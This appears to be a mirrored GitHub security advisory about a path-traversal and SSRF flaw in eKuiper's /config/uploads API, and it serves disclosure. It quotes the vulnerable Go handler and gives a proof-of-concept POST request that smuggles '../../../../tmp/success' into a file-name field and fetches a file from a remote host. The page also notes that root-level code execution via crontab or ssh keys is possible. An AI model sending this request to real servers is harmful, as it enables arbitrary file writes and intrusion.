GHSA-GJ54-GWJ9-X2C6

Vulnerability from github – Published: 2025-07-03 14:22 – Updated: 2025-07-03 14:22
VLAI
Summary
eKuiper /config/uploads API arbitrary file writing may lead to RCE
Details

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    // Upload or overwrite a file
    case http.MethodPost:
        switch r.Header.Get("Content-Type") {
        case "application/json":
            fc := &fileContent{}
            defer r.Body.Close()
            err := json.NewDecoder(r.Body).Decode(fc)
            if err != nil {
                handleError(w, err, "Invalid body: Error decoding file json", logger)
                return
            }
            err = fc.Validate()
            if err != nil {
                handleError(w, err, "Invalid body: missing necessary field", logger)
                return
            }

            filePath := filepath.Join(uploadDir, fc.Name)
            err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

image

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

Severity
7.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lf-edge/ekuiper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-03T14:22:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.",
  "id": "GHSA-gj54-gwj9-x2c6",
  "modified": "2025-07-03T14:22:05Z",
  "published": "2025-07-03T14:22:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lf-edge/ekuiper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "eKuiper /config/uploads API arbitrary file writing may lead to RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.